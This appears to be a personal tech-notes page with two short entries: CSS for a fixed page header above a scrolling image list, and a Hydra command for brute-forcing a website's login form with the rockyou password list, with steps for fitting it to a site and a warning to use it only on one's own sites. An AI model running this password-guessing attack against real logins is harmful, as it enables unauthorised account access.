HTML / CSS Freeze Page Header

I want to freeze the title portion of the page so that it is always visible while the main list of images scrolls freely below. See an example at augmented reality geotags.
Below is my code. The "bottom" and "top" parameters seem to be the key; however, be advised that I have not yet tested this on a variety of screen configurations.

#titlepane {

float:left;

background-color: #ffffff;

width:100%;

padding:10px;

bottom:65%;

position: fixed;

box-shadow: 8px 8px 10px #999999;

z-index:2;

}


#scrollbelowtitle {

position:fixed;

float: left;

clear:left;

top: 35%;

padding: 10px;

height: 500px;

width: 100%;

overflow-y: scroll;

z-index:1;

}

Hydra Command Line Arguments on Lenovo Yoga Book/Debian Linux.

Example of Hydra command line arguments that seem to be running through the iterations.

sudo hydra -l myusername -P /usr/share/dict/rockyou.txt -o output.txt thetarget.com http-post-form "/login.cfm RetURL=%2FDefault%2Easp%3F:login_name=^USER^&password=^PASS^:S=logout myusername" -vV -f

Replace myusername with your user name

Replace target.com with yourwebsite.com

Replace login_name with yourwebsite's variable for user name (Hint: View form source code)

Replace password with yourwebsite's variable name for password (Hint: View form source code)

Do not let this run through completion or to success if target.com is not a website that you own, unless you want to go to jail.